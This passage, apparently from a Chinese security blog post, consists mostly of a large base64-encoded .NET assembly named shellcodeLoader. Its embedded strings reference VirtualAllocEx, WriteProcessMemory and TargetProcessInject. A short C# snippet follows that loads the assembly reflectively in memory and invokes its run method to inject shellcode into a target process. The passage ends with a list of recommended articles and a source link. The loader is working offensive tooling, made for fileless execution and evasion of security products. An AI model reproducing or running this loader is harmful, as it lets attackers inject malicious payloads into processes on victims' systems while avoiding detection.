NvZGUAZ2V0X0hhbmRsZQBDb25zb2xlAGdldF9NYWluTW9kdWxlAFByb2Nlc3NNb2R1bGUAZ2V0X0ZpbGVOYW1lAGdldF9Qcm9jZXNzTmFtZQBwcm9jZXNzbmFtZQBQaWNrZWRQcm9jZXNzSW5mb0J5bmFtZQBSZWFkTGluZQBXcml0ZUxpbmUAZmxBbGxvY2F0aW9uVHlwZQBSZWxlYXNlAEd1aWRBdHRyaWJ1dGUAVW52ZXJpZmlhYmxlQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBTZWN1cml0eVBlcm1pc3Npb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUARmxhZ3NBdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAFJlc2VydmUAc2hlbGxjb2RlTG9hZGVyLmV4ZQBkd1N0YWNrU2l6ZQBuU2l6ZQBkd1NpemUARW5jb2RpbmcAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAFJldmVyc2FsU3RyaW5nAFRvU3RyaW5nAFdyaXRlV2F0Y2gAZ2V0X0xlbmd0aABQaHlzaWNhbABSZXZlcnNhbABrZXJuZWwzMi5kbGwAU3lzdGVtAEVudW0AbHBOdW1iZXJPZkJ5dGVzV3JpdHRlbgBNYWluAFNlY3VyaXR5QWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAE1lbW9yeVByb3RlY3Rpb24AcnVuAFRvcERvd24AWmVybwBwcm8AQ2hhcgBTdHJlYW1SZWFkZXIAVGV4dFJlYWRlcgBzaGVsbGNvZGVMb2FkZXIAbHBCdWZmZXIAbHBQYXJhbWV0ZXIALmN0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBMYXJnZVBhZ2VzAEdldFByb2Nlc3NlcwBscFRocmVhZEF0dHJpYnV0ZXMAVGhyZWFkQ3JlYXRpb25GbGFncwBkd0NyZWF0aW9uRmxhZ3MAYXJncwBDb250YWlucwBTeXN0ZW0uU2VjdXJpdHkuUGVybWlzc2lvbnMAZ2V0X0NoYXJzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRBZGRyZXNzAENvbmNhdABPYmplY3QAVGFyZ2V0UHJvY2Vzc0luamVjdABmbFByb3RlY3QAUmVzZXQAQ29tbWl0AERlY29tbWl0AGdldF9EZWZhdWx0AENvbnZlcnQAaW5wdXQAU3lzdGVtLlRleHQAVmlydHVhbEFsbG9jRXgAV3JpdGVQcm9jZXNzTWVtb3J5AFN5c3RlbS5TZWN1cml0eQAAAAAAJ2IAYQBzAGUANgA0AHMAaABlAGwAbABjAG8AZABlAC4AdAB4AHQAAAEAD2EAYgBjAGQAZQBmAGcAABFbACsAXQBOAGEAbQBlADoAAAtQAGEAdABoADoAAAdJAEQAOgAAF1sALQBdAKFsCWd+YjBS7nYHaNuPC3oBPVsAKgBdAO9T5U4dXNWLu1OJYw5UAH8sAItPglljAGEAbABjAC4AZQB4AGUAu1OJYy4AZQB4AGUA5WfiiwEDMQAAADE6rEtdqvxLp4vgGlyQdpAABCABAQgDIAABBSABARERBCABAQ4EIAEBAgUgAQERQQcHBBJRDg4OBAAAEmEGIAIBDhJhAyAADgUAAg4ODgUgAg4ODgUAAR0FDgwHBg4dEl0IEl0IEl0FAAAdEl0EIAAScQQgAQIOBAABAQ4DIAAIAwAAAQkHBR0FEl0YGBgDIAAYAgYYBQcDDggDBCABAwgIt3pcVhk04IkEAAAAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAACAAEAABAAAQAABAABAAAIAAEAAAAIA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i35o6n5Yi257qn5Yir77yM6K+35L2/55SoCiAgICAgICAgICAgICDku6XkuIvoioLngrnkuYvkuIDmm7/mjaIgcmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwg6IqC54K544CCbgogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCAgbGV2ZWw9ImFzSW52b2tlciIgdWlBY2Nlc3M9ImZhbHNlIiAvPgogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCAgbGV2ZWw9InJlcXVpcmVBZG1pbmlzdHJhdG9yIiB1aUFjY2Vzcz0iZmFsc2UiIC8+CiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsICBsZXZlbD0iaGlnaGVzdEF2YWlsYWJsZSIgdWlBY2Nlc3M9ImZhbHNlIiAvPgoKICAgICAgICAgICAg5oyH5a6aIHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIOWFg+e0oOWwhuemgeeUqOaWh+S7tuWSjOazqOWGjOihqOiZmuaLn+WMluOAggogICAgICAgICAgICDlpoLmnpzkvaDnmoTlupTnlKjnqIvluo/pnIDopoHmraTomZrmi5/ljJbmnaXlrp7njrDlkJHlkI7lhbzlrrnmgKfvvIzliJnliKDpmaTmraQKICAgICAgICAgICAg5YWD57Sg44CCCiAgICAgICAgLS0+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0iYXNJbnZva2VyIiB1aUFjY2Vzcz0iZmFsc2UiIC8+DQogICAgICA8L3JlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgICA8YXBwbGljYXRpb25SZXF1ZXN0TWluaW11bT4NCiAgICAgICAgPGRlZmF1bHRBc3NlbWJseVJlcXVlc3QgcGVybWlzc2lvblNldFJlZmVyZW5jZT0iQ3VzdG9tIiAvPg0KICAgICAgICA8UGVybWlzc2lvblNldCBjbGFzcz0iU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25TZXQiIHZlcnNpb249IjEiIFVucmVzdHJpY3RlZD0idHJ1ZSIgSUQ9IkN1c3RvbSIgU2FtZVNpdGU9InNpdGUiIC8+DQogICAgICA8L2FwcGxpY2F0aW9uUmVxdWVzdE1pbmltdW0+DQogICAgPC9zZWN1cml0eT4NCiAgPC90cnVzdEluZm8+DQogIDxjb21wYXRpYmlsaXR5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmNvbXBhdGliaWxpdHkudjEiPg0KICAgIDxhcHBsaWNhdGlvbj4NCiAgICAgIDwhLS0g6K6+6K6h5q2k5bqU55So56iL5bqP5LiO5YW25LiA6LW35bel5L2c5LiU5bey6ZKI5a+55q2k5bqU55So56iL5bqP6L+b6KGM5rWL6K+V55qECiAgICAgICAgICAgV2luZG93cyDniYjmnKznmoTliJfooajjgILlj5bmtojor4TorrrpgILlvZPnmoTlhYPntKDvvIwKICAgICAgICAgICBXaW5kb3dzIOWwhuiHquWKqOmAieaLqeacgOWFvOWuueeahOeOr+Wig+OAgiAtLT4NCiAgICAgIDwhLS0gV2luZG93cyBWaXN0YSAtLT4NCiAgICAgIDwhLS08c3VwcG9ydGVkT1MgSWQ9IntlMjAxMTQ1Ny0xNTQ2LTQzYzUtYTVmZS0wMDhkZWVlM2QzZjB9IiAvPi0tPg0KICAgICAgPCEtLSBXaW5kb3dzIDcgLS0+DQogICAgICA8IS0tPHN1cHBvcnRlZE9TIElkPSJ7MzUxMzhiOWEtNWQ5Ni00ZmJkLThlMmQtYTI0NDAyMjVmOTNhfSIgLz4tLT4NCiAgICAgIDwhLS0gV2luZG93cyA4IC0tPg0KICAgICAgPCEtLTxzdXBwb3J0ZWRPUyBJZD0iezRhMmYyOGUzLTUzYjktNDQ0MS1iYTljLWQ2OWQ0YTRhNmUzOH0iIC8+LS0+DQogICAgICA8IS0tIFdpbmRvd3MgOC4xIC0tPg0KICAgICAgPCEtLTxzdXBwb3J0ZWRPUyBJZD0iezFmNjc2Yzc2LTgwZTEtNDIzOS05NWJiLTgzZDBmNmQwZGE3OH0iIC8+LS0+DQogICAgICA8IS0tIFdpbmRvd3MgMTAgLS0+DQogICAgICA8IS0tPHN1cHBvcnRlZE9TIElkPSJ7OGUwZjdhMTItYmZiMy00ZmU4LWI5YTUtNDhmZDUwYTE1YTlhfSIgLz4tLT4NCiAgICA8L2FwcGxpY2F0aW9uPg0KICA8L2NvbXBhdGliaWxpdHk+DQogIDwhLS0g5oyH56S66K+l5bqU55So56iL5bqP5Y+v5oSf55+lIERQSSDkuJQgV2luZG93cyDlnKggRFBJIOi+g+mrmOaXtuWwhuS4jeS8muWvueWFtui/m+ihjAogICAgICAg6Ieq5Yqo57yp5pS+44CCV2luZG93cyBQcmVzZW50YXRpb24gRm91bmRhdGlvbiAoV1BGKeW6lOeUqOeoi+W6j+iHquWKqOaEn+efpSBEUEnvvIzml6DpnIAKICAgICAgIOmAieaLqeWKoOWFpeOAgumAieaLqeWKoOWFpeatpOiuvue9rueahCBXaW5kb3dzIOeql+S9k+W6lOeUqOeoi+W6jyjpnaLlkJEgLk5FVCBGcmFtZXdvcmsgNC42Kei/mOW6lAogICAgICAg5Zyo5YW2IGFwcC5jb25maWcg5Lit5bCGICJFbmFibGVXaW5kb3dzRm9ybXNIaWdoRHBpQXV0b1Jlc2l6aW5nIiDorr7nva7orr7nva7kuLogInRydWUi44CCCiAgICAgICAKICAgICAgIOWwhuW6lOeUqOeoi+W6j+iuvuS4uuaEn+efpemVv+i3r+W+hOOAguivt+WPgumYhSBodHRwczovL2RvY3MubWljcm9zb2Z0LmNvbS93aW5kb3dzL3dpbjMyL2ZpbGVpby9tYXhpbXVtLWZpbGUtcGF0aC1saW1pdGF0aW9uIC0tPg0KICA8IS0tCiAgPGFwcGxpY2F0aW9uIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+CiAgICA8d2luZG93c1NldHRpbmdzPgogICAgICA8ZHBpQXdhcmUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMDUvV2luZG93c1NldHRpbmdzIj50cnVlPC9kcGlBd2FyZT4KICAgICAgPGxvbmdQYXRoQXdhcmUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMTYvV2luZG93c1NldHRpbmdzIj50cnVlPC9sb25nUGF0aEF3YXJlPgogICAgPC93aW5kb3dzU2V0dGluZ3M+CiAgPC9hcHBsaWNhdGlvbj4KICAtLT4NCiAgPCEtLSDlkK/nlKggV2luZG93cyDlhazlhbHmjqfku7blkozlr7nor53moYbnmoTkuLvpopgoV2luZG93cyBYUCDlkozmm7Tpq5jniYjmnKwpIC0tPg0KICA8IS0tCiAgPGRlcGVuZGVuY3k+CiAgICA8ZGVwZW5kZW50QXNzZW1ibHk+CiAgICAgIDxhc3NlbWJseUlkZW50aXR5CiAgICAgICAgICB0eXBlPSJ3aW4zMiIKICAgICAgICAgIG5hbWU9Ik1pY3Jvc29mdC5XaW5kb3dzLkNvbW1vbi1Db250cm9scyIKICAgICAgICAgIHZlcnNpb249IjYuMC4wLjAiCiAgICAgICAgICBwcm9jZXNzb3JBcmNoaXRlY3R1cmU9IioiCiAgICAgICAgICBwdWJsaWNLZXlUb2tlbj0iNjU5NWI2NDE0NGNjZjFkZiIKICAgICAgICAgIGxhbmd1YWdlPSIqIgogICAgICAgIC8+CiAgICA8L2RlcGVuZGVudEFzc2VtYmx5PgogIDwvZGVwZW5kZW5jeT4KICAtLT4NCjwvYXNzZW1ibHk+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAwAAAAENAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";            byte[] Buffer = Convert.FromBase64String(base64string);            Assembly assembly = Assembly.Load(Buffer);            Type type = assembly.GetType("shellcodeLoader.TargetProcessInject");            MethodInfo method = type.GetMethod("run");            Object obj = assembly.CreateInstance(method.Name);            method.Invoke(obj, null);        }    }} 



推荐阅读
漏洞挖掘 | 通用型漏洞挖掘思路技巧
实战|记一次后门连接应急响应
实战|应急响应之某公司的粗心导致网站被恶意篡改
实战 | 记一次攻防演练
实战 | 记一次诡异的网站篡改应急响应

点赞 在看 转发


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDU1NDk2MA==&mid=2247502053&idx=1&sn=44559d84bdb5f5483af73d3087444a07&chksm=ec1c9ddadb6b14ccea2a8630cc6584697df07f8443b8e1ac1162fddd3b6a5133d30f33e9e332#rd
如有侵权请联系:admin#unsafe.sh